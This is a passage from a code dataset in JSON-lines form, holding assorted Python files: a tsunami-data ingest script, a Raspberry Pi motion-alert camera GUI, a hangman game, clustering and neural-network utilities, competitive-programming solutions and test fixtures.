: map(float,xs) }\n if len(xs) == 9 else \n { 'type' : xs[0], 'params' : map(float,xs[1:]) }\n )(line.split())\n for line in s.splitlines()\n ],\n)\n\ngrids = ingest_builder(\n 'http://burn.giseis.alaska.edu/grids/',\n extent=lambda s : list(chunkby(2,map(float,s.split()))),\n mm=lambda s : map(float, s.split()),\n parent=lambda s : s.strip(),\n readme=lambda s : re.split(r'\\s*,\\s*', s.splitlines()[0], 1)\n)\n\nmarkers = ingest_builder(\n 'http://burn.giseis.alaska.edu/scripts/',\n pattern=re.compile(r'^list_.+\\.js$'),\n js=lambda js : [\n re.split(r'\\s*,\\s*',\n re.sub(r'\"','',\n re.sub(r'^.+?\\(\\s*|\\s*\\).*','',x)\n ), 5\n ) for x in js.splitlines() if re.search(r'^\\s+nm\\[\\d+\\]', x)\n ],\n)\n\nfrom math import ceil\ndef chunkby(n,xs) :\n for i in range(0, int(ceil(float(len(xs)) / 2.0))) :\n yield xs[i*n:(i+1)*n]\n\ndef ingest_grids() :\n from sqlalchemy.exc import OperationalError\n dangling = {}\n for g in grids :\n\n sleep()\n\n \n p = g['parent']\n \n parent = None\n if Grid.query.filter_by(name=p).count() == 1 :\n parent = Grid.query.filter_by(name=p).first()\n else :\n if p not in dangling : dangling[p] = []\n dangling[p].append(g['name'])\n \n print(g)\n \n if Grid.query.filter_by(name=g['name']).count() == 0 :\n # grid doesn't exist, create a new one\n print(\"Creating new grid\")\n grid = Grid()\n else :\n print(\"Updating existing grid\")\n grid = Grid.query.filter_by(name=g['name']).first()\n \n grid.name = g['name']\n grid.description = g['readme'][0]\n \n if grid.points :\n # don't add duplicate points\n prev_ext = [ (p.lat,p.lon) for p in grid.points ]\n if sort(prev_ext) == sort(g['extent']) :\n grid.points=[\n Point(latitude=lat, longitude=lon)\n for (lat,lon) in g['extent']\n ]\n \n grid.parent = parent\n grid.west, grid.east, grid.south, grid.north = g['mm']\n \n session.merge(grid)\n session.commit()\n \n for (parent,names) in dangling.items() :\n for name in names :\n Grid.query.filter_by(name=name).first().parent = \\\n Grid.query.filter_by(name=parent).first()\n \n session.commit()\n session.flush()\n\ndef ingest_deformations() :\n from sqlalchemy.exc import OperationalError\n import time\n dangling = []\n for d in deformations :\n\n sleep()\n\n extent = d['extent']\n \n for p in d['param'] :\n print(p)\n if Deformation.query.filter_by(name=d['name']).count() == 1 :\n deformation = Deformation.query \\\n .filter_by(name=d['name']).first()\n else :\n deformation = Deformation()\n \n deformation.name = d['name']\n deformation.description = ''\n deformation.user = (p['type'] != '')\n # bounding box:\n deformation.west, deformation.south, \\\n deformation.east, deformation.north \\\n = [ extent[i] for i in [1,2,0,3] ]\n # deformation parameters:\n fields = zip(\n \"longitude latitude depth strike dip rake slip length width\" \\\n .split(),\n p['params']\n )\n for (field,value) in fields :\n setattr(deformation, field, value)\n \n session.merge(deformation)\n session.commit()\n session.flush()\n\ndef ingest_markers() :\n import time\n for m in markers :\n for params in m['js'] :\n print(params)\n lon, lat = map(float, params[:2])\n name, grid_name, group_name, desc = params[2:]\n \n group = Group.query.filter_by(name=group_name).first()\n if not group : group = Group(name=group_name)\n grid = Grid.query.filter_by(name=grid_name).first()\n \n if Marker.query.filter_by(name=name).count() == 1 :\n marker = Marker.query.filter_by(name=name).first()\n else :\n marker = Marker()\n \n marker.name = name\n marker.description = desc\n marker.grid = grid\n marker.group = group\n marker.longitude = lon\n marker.latitude = lat\n \n session.add(marker)\n session.commit()\n\n sleep()\n\n session.flush()\n\ndef ingest() :\n ingest_grids()\n ingest_deformations()\n ingest_markers()\n print(\n 'Ingest complete:\\n %d grids, %d deformations, %d markers, %d groups'\n % tuple(x.query.count() for x in [Grid,Deformation,Marker,Group])\n )\n\nif __name__ == '__main__' :\n import sys, os\n app = TsunamiApp(basepath)\n bind_db(app.root('data/tsunami.sqlite3'))\n ingest()\n","sub_path":"frontend/bin/ingest.py","file_name":"ingest.py","file_ext":"py","file_size_in_byte":6633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"565211109","text":"import guizero\nimport picamera\nimport gpiozero\nimport time\nimport datetime\n# Custom lib by Jason\nimport emailer\n\n\n# Camera\ncamera = picamera.PiCamera()\ncamera.rotation = 180\ncamera.start_preview()\ntime.sleep(2)\ncamera.stop_preview()\nfname = './surveillance/test.gif'\n\ndef takePic(): \n camera.capture(fname, resize=(800,600))\n pic.value = fname\n now = datetime.datetime.now() \n shutter_message.value = 'Picture captured at {0}'.format(now.strftime('%a, %d-%b-%Y %H:%M:%S'))\n\n# GUI\napp = guizero.App(title=\"Command Center\", width=1000, height=600, layout=\"grid\")\n\n# Controls\ncontrols = guizero.Box(master=app, align='left', grid=[0,0], layout='grid')\ntoggle = guizero.ButtonGroup(master=controls, grid=[0,0], options=['Armed', 'Unarmed'], selected=1)\n\nshutter = guizero.PushButton(master=controls, grid=[1,0], command=takePic, text='Shutter')\nshutter_message = guizero.Text(master=controls, grid=[1, 1], text='Status...', )\n\n# Pic\npic = guizero.Picture(app,image=fname, grid=[0,1])\n\n# Message\nmessage_box = guizero.Box(master=app, align='top', grid=[1,1], layout='grid')\nmotion_message = guizero.Text(master=message_box, align='left', grid=[0,0], text='Motion not yet detected.\\n')\n\n\n# PIR\nmailer = emailer.Emailer('sender_addr', 'sender_pw', 'recepient_addr')\ndef onMotion():\n now = datetime.datetime.now()\n motion_message.append('Motion detected at {0}\\n'.format(now.strftime('%a, %d-%b-%Y %H:%M:%S')))\n if toggle.value_text == 'Armed': mailer.send(now) \npir = gpiozero.MotionSensor(26)\npir.when_motion = onMotion\napp.display()\n\n","sub_path":"command_center.py","file_name":"command_center.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"185688638","text":"import random \r\ndef hangman(word):\r\n wrong=0 ## the counter of wrong letters \r\n stages=[\"\",\r\n \"____________ \",\r\n \"| \",\r\n \"| | \",\r\n \"| 0 \",\r\n \"| /|\\ \",\r\n \"| / \\ \",\r\n \"| \", \r\n ]\r\n\r\n rletters = list(word) ## a list which contains each symbol of WORD\r\n board = [\"_\"] * len(word) ## a list of strings which displayed during the game\r\n win = False # Flag\r\n print('*** Welcome to the HangMan game ***')\r\n\r\n while wrong < len(stages)-1: ## loop \r\n print('\\n')\r\n char_message=input('Enter any letter: ')\r\n if char_message in rletters:\r\n add_letter=rletters.index(char_message)\r\n board[add_letter]=char_message\r\n rletters[add_letter] = '$' ## if the word has dublicates (similar letters) will be\r\n else: ## replased with $ to let the code itterate normaly\r\n wrong +=1\r\n print((\" \".join(board)))\r\n\r\n range= wrong +1\r\n print('\\n'.join(stages[0:range]))\r\n\r\n if '_' not in board:\r\n print('You win! The word was: ')\r\n print(' '.join(board))\r\n win=True\r\n break\r\n \r\n\r\n if not win:\r\n print('\\n'.join(stages[0:wrong]))\r\n print('You loose! The word was: {}.'.format(word))\r\n \r\n\r\n \r\n \r\nlist_of_words = ['cat','dog','apple', 'vehickle', 'rainbow', 'forest', 'butterfly', 'dragonfly', 'flower', 'cloud', 'daisy',\r\n 'milk', 'goose', 'country', 'owl', 'programm',\r\n ]\r\nchoice=random.choice(list_of_words)\r\nhangman(choice)","sub_path":"Виселица.py","file_name":"Виселица.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"163976295","text":"# -*- coding: UTF-8 -*-\n\"\"\"\nModule with global instances\n\nThis is actually a hack to overcome circular dependancies.\nMost elements of the system were envisioned as singletons. However proper\nimplementation in python is ineficient (to many costly calls). A trick used to\nshadow the class with it's instance breakes IDEs and Sphinx.\n\nTherefore they are implemented as module globals for now.\n\nAfter refactoring this could go away.\n\"\"\"\n\nSTATE_MANAGER = None\nVALIDATOR = None\nSERVICE_STORE = None\nSCHEDULER_STORE = None\n\n\ndef init():\n \"\"\"\n Initialize the global instances.\n \"\"\"\n import Jobs\n import Schedulers\n import Services\n\n global STATE_MANAGER\n global VALIDATOR\n global SERVICE_STORE\n global SCHEDULER_STORE\n STATE_MANAGER = Jobs.FileStateManager()\n VALIDATOR = Services.Validator()\n SERVICE_STORE = Services.ServiceStore()\n SCHEDULER_STORE = Schedulers.SchedulerStore()\n\n STATE_MANAGER.init()\n SCHEDULER_STORE.init()\n SERVICE_STORE.init()\n","sub_path":"CISAppServer/Globals.py","file_name":"Globals.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"443510108","text":"from pathlib import Path\nfrom typing import Dict, Optional, Tuple, Union\n\nimport numpy as np\nimport torch\nimport torchvision\nimport wandb\nfrom lapjv import lapjv # pylint: disable=no-name-in-module\nfrom omegaconf import OmegaConf\nfrom sklearn.metrics import adjusted_rand_score, confusion_matrix, normalized_mutual_info_score\nfrom torch import Tensor\n\nfrom clustering.models import Model\nfrom shared.configs import CL, DS, RL, Config, Misc\nfrom shared.utils import (\n ClusterResults,\n class_id_to_label,\n flatten,\n label_to_class_id,\n save_results,\n wandb_log,\n)\n\n__all__ = [\n \"convert_and_save_results\",\n \"count_occurances\",\n \"find_assignment\",\n \"get_class_id\",\n \"get_cluster_label_path\",\n \"log_images\",\n \"restore_model\",\n \"save_model\",\n]\n\n\ndef log_images(\n cfg: Config, image_batch, name, step, nsamples=64, nrows=8, monochrome=False, prefix=None\n):\n \"\"\"Make a grid of the given images, save them in a file and log them with W&B\"\"\"\n prefix = \"train_\" if prefix is None else f\"{prefix}_\"\n images = image_batch[:nsamples]\n\n if cfg.enc.recon_loss == RL.ce:\n images = images.argmax(dim=1).float() / 255\n else:\n if cfg.data.dataset in (DS.celeba, DS.genfaces):\n images = 0.5 * images + 0.5\n\n if monochrome:\n images = images.mean(dim=1, keepdim=True)\n # torchvision.utils.save_image(images, f'./experiments/finn/{prefix}{name}.png', nrow=nrows)\n shw = torchvision.utils.make_grid(images, nrow=nrows).clamp(0, 1).cpu()\n wandb_log(\n cfg.misc,\n {prefix + name: [wandb.Image(torchvision.transforms.functional.to_pil_image(shw))]},\n step=step,\n )\n\n\ndef save_model(\n cfg: Config, save_dir: Path, model: Model, epoch: int, sha: str, best: bool = False\n) -> Path:\n if best:\n filename = save_dir / \"checkpt_best.pth\"\n else:\n filename = save_dir / f\"checkpt_epoch{epoch}.pth\"\n save_dict = {\n \"args\": flatten(OmegaConf.to_container(cfg, resolve=True, enum_to_str=True)),\n \"sha\": sha,\n \"model\": model.state_dict(),\n \"epoch\": epoch,\n }\n\n torch.save(save_dict, filename)\n\n return filename\n\n\ndef restore_model(cfg: Config, filename: Path, model: Model) -> Tuple[Model, int]:\n chkpt = torch.load(filename, map_location=lambda storage, loc: storage)\n args_chkpt = chkpt[\"args\"]\n assert cfg.enc.levels == args_chkpt[\"enc.levels\"]\n model.load_state_dict(chkpt[\"model\"])\n return model, chkpt[\"epoch\"]\n\n\ndef count_occurances(\n counts: np.ndarray,\n preds: np.ndarray,\n s: Tensor,\n y: Tensor,\n s_count: int,\n to_cluster: CL,\n) -> Tuple[np.ndarray, Tensor]:\n \"\"\"Count how often cluster IDs coincide with the class IDs.\n\n All possible combinations are accounted for.\n \"\"\"\n class_id = get_class_id(s=s, y=y, s_count=s_count, to_cluster=to_cluster)\n indices, batch_counts = np.unique(\n np.stack([class_id.numpy().astype(np.int64), preds]), axis=1, return_counts=True\n )\n counts[tuple(indices)] += batch_counts\n return counts, class_id\n\n\ndef find_assignment(\n counts: np.ndarray, num_total: int\n) -> Tuple[float, \"np.ndarray[np.int64]\", Dict[str, Union[float, str]]]:\n \"\"\"Find an assignment of cluster to class such that the overall accuracy is maximized.\"\"\"\n # row_ind maps from class ID to cluster ID: cluster_id = row_ind[class_id]\n # col_ind maps from cluster ID to class ID: class_id = row_ind[cluster_id]\n row_ind, col_ind, result = lapjv(-counts)\n best_acc = -result[0] / num_total\n assignment = (f\"{class_id}->{cluster_id}\" for class_id, cluster_id in enumerate(row_ind))\n logging_dict = {\n \"Best acc\": best_acc,\n \"class ID -> cluster ID\": \", \".join(assignment),\n }\n return best_acc, col_ind, logging_dict\n\n\ndef get_class_id(*, s: Tensor, y: Tensor, s_count: int, to_cluster: CL) -> Tensor:\n if to_cluster == CL.s:\n class_id = s\n elif to_cluster == CL.y:\n class_id = y\n else:\n class_id = label_to_class_id(s=s, y=y, s_count=s_count)\n return class_id.view(-1)\n\n\ndef get_cluster_label_path(misc: Misc, save_dir: Path) -> Path:\n if misc.cluster_label_file:\n return Path(misc.cluster_label_file)\n else:\n return save_dir / \"cluster_results.pth\"\n\n\ndef convert_and_save_results(\n cfg: Config,\n cluster_label_path: Path,\n results: Tuple[Tensor, Tensor, Tensor],\n enc_path: Path,\n context_metrics: Optional[Dict[str, float]],\n test_metrics: Optional[Dict[str, float]] = None,\n) -> Path:\n clusters, s, y = results\n s_count = cfg.misc._s_dim if cfg.misc._s_dim > 1 else 2\n class_ids = get_class_id(s=s, y=y, s_count=s_count, to_cluster=cfg.clust.cluster)\n cluster_results = ClusterResults(\n flags=flatten(OmegaConf.to_container(cfg, resolve=True, enum_to_str=True)),\n cluster_ids=clusters,\n class_ids=class_ids,\n enc_path=enc_path,\n context_metrics=context_metrics,\n test_metrics=test_metrics,\n )\n return save_results(save_path=cluster_label_path, cluster_results=cluster_results)\n\n\ndef cluster_metrics(\n *,\n cluster_ids: np.ndarray,\n counts: np.ndarray,\n true_class_ids: np.ndarray,\n num_total: int,\n s_count: int,\n to_cluster: CL,\n) -> Tuple[float, Dict[str, float], Dict[str, Union[str, float]]]:\n # find best assignment for cluster to classes\n best_acc, best_ass, logging_dict = find_assignment(counts, num_total)\n metrics = {\"Accuracy\": best_acc}\n pred_class_ids = best_ass[cluster_ids] # use the best assignment to get the class IDs\n\n conf_mat = confusion_matrix(true_class_ids, pred_class_ids, normalize=\"all\")\n logging_dict[\"confusion matrix\"] = f\"\\n{conf_mat}\\n\"\n\n nmi = normalized_mutual_info_score(labels_true=true_class_ids, labels_pred=pred_class_ids)\n metrics[\"NMI\"] = nmi\n ari = adjusted_rand_score(labels_true=true_class_ids, labels_pred=pred_class_ids)\n metrics[\"ARI\"] = ari\n acc_per_class = confusion_matrix(true_class_ids, pred_class_ids, normalize=\"true\").diagonal()\n assert acc_per_class.ndim == 1\n if to_cluster == CL.both:\n for class_id_, acc in enumerate(acc_per_class):\n y_ = class_id_to_label(class_id_, s_count=s_count, label=\"y\")\n s_ = class_id_to_label(class_id_, s_count=s_count, label=\"s\")\n metrics[f\"Acc y={y_} s={s_}\"] = acc\n\n logging_dict.update(metrics)\n return best_acc, metrics, logging_dict\n","sub_path":"clustering/optimisation/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"560357939","text":"#-*- encoding: utf-8 -*-\nimport sys\nr=sys.stdin.readline\n\ntest_case = int(r())\n\nfor i in range(test_case):\n N, M = map(int,r().split()) # N: 문서의 수, M: 몇 번째로 인쇄되었는지 궁금한 문서의 현재 위치\n queue = list(map(int,r().split()))\n \n cnt = 0 # 몇 번째로 인쇄 되는지\n important = 9 # 중요도\n ind = 0 # 문서 탐색 인덱스\n \n while 1:\n while 1:\n if queue.count(important) == 0: # 해당 중요도가 문서에 있는지 체크\n important -= 1\n else:\n break\n \n if queue[ind] == important:\n cnt += 1\n queue[ind] = 0\n \n if ind == M:\n break\n \n ind += 1\n \n if ind == N: # 문서의 끝까지 탐색했으면 다시 처음부터 탐색\n ind = 0\n \n print(cnt)\n","sub_path":"Algorithm/Baekjoon/01966 프린터 큐/1966.py","file_name":"1966.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"493925054","text":"# -*- encoding: utf-8 -*-\nimport sys\nr_input = sys.stdin.readline\n\n# 타임머신 제한 시간\nN = int(r_input())\ncoin = list(map(int, r_input().split()))\n\nresult = 0\n\ntmp = coin.pop()\n\nfor c in coin[::-1]:\n if c < tmp:\n result += tmp - c\n else:\n tmp = c\n\nprint(result)\n","sub_path":"Algorithm/Baekjoon/17939 Gazzzua/17939.py","file_name":"17939.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"403013290","text":"import tempfile\nfrom pathlib import Path\nimport pytest\nimport shutil\n\nfrom samplewebapp.database import bind_to_database, database_access\nfrom samplewebapp.schema import Pokemon, Move, LearnSet\n\n\ndef initialize_test_database():\n '''\n A helper function that initializes some test data into an empty test\n database.\n '''\n with database_access() as session:\n # define a bunch of pokemon\n bulbasaur = Pokemon(name='Bulbasaur', description='A grass pokemon')\n charmander = Pokemon(name='Charmander', description='A fire pokemon')\n squirtle = Pokemon(name='Squirtle', description='A water pokemon')\n\n # define a bunch of moves\n scratch = Move(name='Scratch',\n description='Scratches the enemy',\n attack=20)\n tackle = Move(name='Tackle',\n description='Tackles the enemy',\n attack=20)\n\n # add the pokemon and moves to the database\n session.add_all([bulbasaur, charmander, squirtle, scratch, tackle])\n session.commit()\n\n # define some learnset entries\n bulbasaur_learns_tackle = LearnSet(pokemon_id=bulbasaur.id,\n move_id=tackle.id,\n level=1)\n charmander_learns_scratch = LearnSet(pokemon_id=charmander.id,\n move_id=scratch.id,\n level=1)\n squirtle_learns_tackle = LearnSet(pokemon_id=squirtle.id,\n move_id=tackle.id,\n level=1)\n\n # add the learnset entries to the database\n session.add_all([bulbasaur_learns_tackle,\n charmander_learns_scratch,\n squirtle_learns_tackle])\n session.commit()\n\n\n@pytest.fixture\ndef test_db_session():\n '''\n A pytest fixture for setting up a temporary test database for a test to use.\n The fixture handles the following:\n - creates a temporary sqlite database file\n - initializes it with our tables and some sample data\n - points the global Session object to it\n - cleans it all up after the test finishes\n '''\n # create a temporary folder that will hold the test database\n temp_dir = tempfile.mkdtemp()\n try:\n # create the test database file\n db_file = Path(temp_dir, 'test_db.sqlite')\n\n # bind program to the test database file\n bind_to_database(db_file)\n\n # load initial sample data into the test database\n initialize_test_database()\n\n # yield a session\n with database_access() as session:\n yield session\n\n finally:\n # when test is done, delete the temporary folder we created\n shutil.rmtree(temp_dir)\n","sub_path":"tests/fixtures.py","file_name":"fixtures.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"157843830","text":"import rpyc\nimport signal\nimport pickle\nimport numpy as np\nfrom time import sleep, time\nfrom datetime import datetime\n\nfrom linien.communication.client import BaseClient\nfrom linien.common import MHz, Vpp\n\nclass Puller:\n def __init__(self, pipe, cfg):\n self.cfg = cfg\n self.pipe = pipe\n\n def run(self):\n iteration = -1\n\n while True:\n iteration += 1\n connected = False\n\n try:\n self.connect()\n connected = True\n\n for data in self.pull():\n self.pipe.send(data)\n except:\n if self.cfg.debug or (iteration == 0 and not connected):\n from traceback import print_exc\n print_exc()\n\n sleep(1)\n\n def connect(self):\n # FIXME: check remote version\n self.connection = BaseClient(self.cfg.linien_host, self.cfg.linien_port, False)\n self.dp = DataPreparation(self.connection, self.cfg.data_fields, \n lock_status_as_int=self.cfg.lock_status_as_int)\n\n def pull(self):\n\n while True:\n start_time = time()\n yield {\n 'measurement': self.cfg.influxdb_measurement,\n 'tags': self.cfg.influxdb_tags,\n 'time': datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'),\n 'fields': self.dp.load_data()\n }\n\n while True:\n time_until_next_logging = self.cfg.logging_interval - (time() - start_time)\n if time_until_next_logging > self.cfg.echo_status_interval:\n sleep(self.cfg.echo_status_interval)\n # check whether our connection is still there\n self.check_connection()\n # tell the master that we're still there\n yield None\n else:\n sleep(time_until_next_logging)\n break\n\n def check_connection(self):\n self.connection.parameters.p.value\n\n\nclass DataPreparation:\n required_parameters = {\n 'control_signal': ('to_plot',),\n 'error_signal': ('to_plot',),\n 'control_signal_std': ('to_plot',),\n 'error_signal_std': ('to_plot',),\n 'p': ('p',),\n 'i': ('i',),\n 'd': ('d',),\n 'modulation_amplitude': ('modulation_amplitude',),\n 'modulation_frequency': ('modulation_frequency',),\n 'demodulation_phase_a': ('demodulation_phase_a',),\n 'demodulation_multiplier_a': ('demodulation_multiplier_a',),\n 'demodulation_phase_b' : ('demodulation_phase_b',),\n 'demodulation_multiplier_b': ('demodulation_multiplier_b',),\n 'lock': ('lock',)\n }\n\n def __init__(self, connection, data_fields, lock_status_as_int=False):\n self.connection = connection\n self.data_fields = data_fields\n self.lock_status_as_int = lock_status_as_int\n\n def load_data(self):\n params = self.load_parameters()\n return self.prepare_data(params)\n\n def load_parameters(self):\n param_keys = set(['lock'])\n\n for field in self.data_fields:\n # get parameter keys for the server, param_keys contains 'to_plot' \n # once at most due to using set()\n new = self.required_parameters[field]\n assert isinstance(new, (tuple, list)), 'invalid required parameter for %s' % field\n param_keys.update(set(new))\n\n # FIXME: retrieve params all at the same time\n params = {}\n\n for key in param_keys:\n if key == 'to_plot':\n # special treatment for input and output signals\n to_plot = pickle.loads(self.connection.parameters.to_plot.value)\n for signal_key in ['control_signal', 'error_signal']:\n # FIXME: should only calculate values in data_fields\n params[signal_key] = np.mean(to_plot.get(signal_key, 0))\n params[signal_key+'_std'] = np.std(to_plot.get(signal_key, 0))\n else:\n params[key] = getattr(self.connection.parameters, key).value\n\n return params\n\n def prepare_data(self, params):\n data = {}\n # only use additional data_fields if locked\n for field in self.data_fields:\n if not params['lock'] and field != 'lock':\n continue\n if 'signal' in field:\n # Convert to mV\n data[field] = params[field] / Vpp / 2 \n elif field == 'modulation_frequency':\n # convert to Mhz\n data[field] = params[field] / MHz\n else:\n data[field] = params[field]\n if self.lock_status_as_int:\n data['lock'] = int(data['lock'])\n return data\n\ndef pull_data(pipe, cfg):\n # ignore sigint in worker\n signal.signal(signal.SIGINT, signal.SIG_IGN)\n puller = Puller(pipe, cfg)\n puller.run()\n","sub_path":"linien-influxdb/pull.py","file_name":"pull.py","file_ext":"py","file_size_in_byte":4986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"599173925","text":"\"\"\"\nThis file creates a .csv by scraping a directory that contains a collection\nof .td files.\n\"\"\"\n\nimport argparse\nimport glob\nimport os\nfrom os.path import basename\n\n\ndef append_to_csv(regularity, vertices, treewidth, algorithm, valid):\n \"\"\"\n Appends information on regularity, vertices, treewidth, algorithm and\n validity to the .csv\n\n Keyword arguments:\n regularity -- regularity of the .gr graph\n vertices -- number of vertices in the .gr graph\n treewidth -- treewidth from the .td\n algorithm -- algorithm used to get .td\n valid -- true if the tree decomposition was valid for its graph\n \"\"\"\n\n if valid:\n csv.write(\"{},{},{},{}\\n\".format(regularity, vertices,\n treewidth, algorithm))\n else:\n csv.write(\"{},{},{},{}\\n\".format(regularity, vertices,\n float('nan'), algorithm))\n\n\ndef construct_argparser():\n \"\"\"\n Controls the retrieval of command line arguments using the argparse module.\n \"\"\"\n\n parser = argparse.ArgumentParser(description=\"Generating a .csv \"\n \"from .td files\")\n parser.add_argument(\"input_dir\", type=str, help=\"input directory \"\n \"of .td files\")\n parser.add_argument(\"csv_filename\", type=str, help=\"output file of .csv\")\n return parser\n\n\ndef get_data(td_filename, gr_filename):\n \"\"\"\n Collects the regularity, vertices, treewidth and algorithms from the\n tree decompositions and graph files.\n\n Keyword arguments:\n td_filename -- filename of tree decomposition\n gr_filename -- filename of .gr file\n \"\"\"\n valid = True\n with open(td_filename) as f:\n content = f.readlines()\n\n tw = float('nan')\n for line in content:\n if(line.startswith(\"c invalid\")):\n\n valid = False\n\n if line.startswith(\"s\"):\n tw = line.split(\" \")[3]\n tw = int(tw) - 1\n\n with open(gr_filename) as f:\n content = f.readlines()\n\n for line in content:\n if line.startswith(\"p\"):\n vertices = line.split(\" \")[2]\n\n regularity = basename(gr_filename).split(\"-\")[0]\n tokens = list(regularity)\n del(tokens[0])\n regularity = \"\".join(tokens)\n\n td_split_name = basename(td_filename).split(\"-\")\n tokens = list(td_split_name)\n del(tokens[0])\n del(tokens[0])\n del(tokens[0])\n algo_with_extension = \"-\".join(tokens)\n algorithm = algo_with_extension.split(\".\")[0]\n\n append_to_csv(regularity, vertices, tw, algorithm, valid)\n\n\nif __name__ == \"__main__\":\n \"\"\"\n Main CLI for creating a .csv from .td files\n \"\"\"\n args = construct_argparser().parse_args()\n\n csv = open(args.csv_filename, \"w\")\n csv.write(\"regularity,vertices,treewidth,algorithm\\n\")\n\n td_files = glob.glob(args.input_dir + \"/*.td\")\n gr_files = glob.glob(args.input_dir + \"/*.gr\")\n\n print (\"Creating csv...\")\n\n for tree_decomposition in td_files:\n # retrieve appropriate .gr filename by removing -[algorithm].td\n filename = os.path.splitext(tree_decomposition)[0]\n\n td_name = basename(filename).split(\"-\")\n graph_name = \"{}-{}-{}\".format(td_name[0], td_name[1], td_name[2])\n graph_name = \"{}.gr\".format(filename.replace(basename(filename),\n graph_name))\n\n # send filenames to get_data()\n get_data(tree_decomposition, graph_name)\n\n print (\".csv created\\n\")\n","sub_path":"consequences/src/utilities/generate_csv.py","file_name":"generate_csv.py","file_ext":"py","file_size_in_byte":3462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"606992689","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\n\nclass Net(nn.Module):\n\n def __init__(self):\n\n\n self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n print(self.device)\n\n super(Net, self).__init__()\n\n self.fc1 = nn.Linear(36, 512)\n self.fc2 = nn.Linear(512, 512)\n self.fc3 = nn.Linear(512, 512)\n self.fc4 = nn.Linear(512, 512)\n self.fc5 = nn.Linear(512, 26)\n\n self.criterion = nn.MSELoss()\n self.optimizer = optim.RMSprop(self.parameters(), lr=0.00025)\n\n def forward(self, x):\n\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = F.relu(self.fc3(x))\n x = F.relu(self.fc4(x))\n x = self.fc5(x)\n return x\n\n def train(self,inputs,targets,action):\n\n\n action_batch = torch.LongTensor(action).to(self.device)\n\n inputs = torch.FloatTensor(inputs).to(self.device)\n\n outputs = self(inputs)\n\n #Select the output neuron corresponding to the action to target\n outputs = self(inputs).gather(1,action_batch).to(self.device)\n \n self.optimizer.zero_grad() # zero the gradient buffers\n\n loss = self.criterion(outputs, torch.FloatTensor(targets).to(self.device))\n loss.backward()\n self.optimizer.step() # Does the update\n","sub_path":"Project/NN.py","file_name":"NN.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"410422274","text":"class Solution(object):\n def nextGreaterElement(self, n):\n s = list(str(n))\n\n i = len(s) - 2\n while i >= 0 and s[i] >= s[i + 1]:\n i -= 1\n\n if i < 0:\n return -1\n\n j = len(s) - 1\n while j > i and s[j] <= s[i]:\n j -= 1\n\n s[i], s[j] = s[j], s[i]\n s = s[:i + 1] + s[len(s) - 1: i :-1]\n res = int(''.join(s))\n return res if res <= (2**31-1) else -1\n","sub_path":"algorithms/NextGreaterElementIII/NextGreaterElementIII.py","file_name":"NextGreaterElementIII.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"77777256","text":"import tensorflow as tf\r\n\r\nfrom .layers import spatial_batch_norm\r\nfrom .base import ModelCore\r\n\r\n\r\ndef init_block(inputs, name, training, output_channels, kernel_size=3,\r\n conv_layer=tf.layers.conv2d, pool_layer=tf.layers.max_pooling2d):\r\n with tf.variable_scope(name):\r\n inp_channels = int(inputs.shape[1])\r\n conv = conv_layer(inputs, output_channels - inp_channels, kernel_size,\r\n strides=2, padding='same', use_bias=False,\r\n data_format='channels_first')\r\n pool = pool_layer(inputs, pool_size=2, strides=2, padding='same',\r\n data_format='channels_first')\r\n\r\n inputs = tf.concat([conv, pool], 1)\r\n inputs = spatial_batch_norm(inputs, training=training,\r\n data_format='channels_first')\r\n return tf.nn.relu(inputs)\r\n\r\n\r\ndef conv_block(inputs, channels, kernel_size, strides, training, padding='same',\r\n activation=tf.nn.relu, layer=tf.layers.conv2d, name=None):\r\n with tf.variable_scope(name):\r\n inputs = layer(inputs, channels, kernel_size=kernel_size,\r\n strides=strides, padding=padding, use_bias=False,\r\n data_format='channels_first', name=name)\r\n inputs = spatial_batch_norm(inputs, training=training,\r\n data_format='channels_first')\r\n return activation(inputs)\r\n\r\n\r\ndef res_block(inputs, name, output_channels, training, kernel_size=3,\r\n downsample=False, upsample=False, dropout_prob=.1,\r\n internal_scale=4, conv_down=tf.layers.conv2d,\r\n conv_up=tf.layers.conv2d_transpose,\r\n pool_layer=tf.layers.max_pooling2d):\r\n # it can be either upsampling or downsampling:\r\n assert not (upsample and downsample)\r\n\r\n input_channels = int(inputs.shape[1])\r\n internal_channels = output_channels // internal_scale\r\n input_stride = downsample and 2 or 1\r\n\r\n with tf.variable_scope(name):\r\n # conv path\r\n # TODO: use prelu\r\n conv = conv_block(inputs, internal_channels, kernel_size=input_stride,\r\n strides=input_stride, training=training, name='conv1',\r\n layer=conv_down)\r\n\r\n if upsample:\r\n conv = conv_block(conv, internal_channels, kernel_size,\r\n strides=2, training=training,\r\n layer=conv_up, name='upsample')\r\n else:\r\n # TODO: use dilated and asymmetric convolutions\r\n conv = conv_block(conv, internal_channels, kernel_size, strides=1,\r\n training=training, name='no_upsample',\r\n layer=conv_down)\r\n 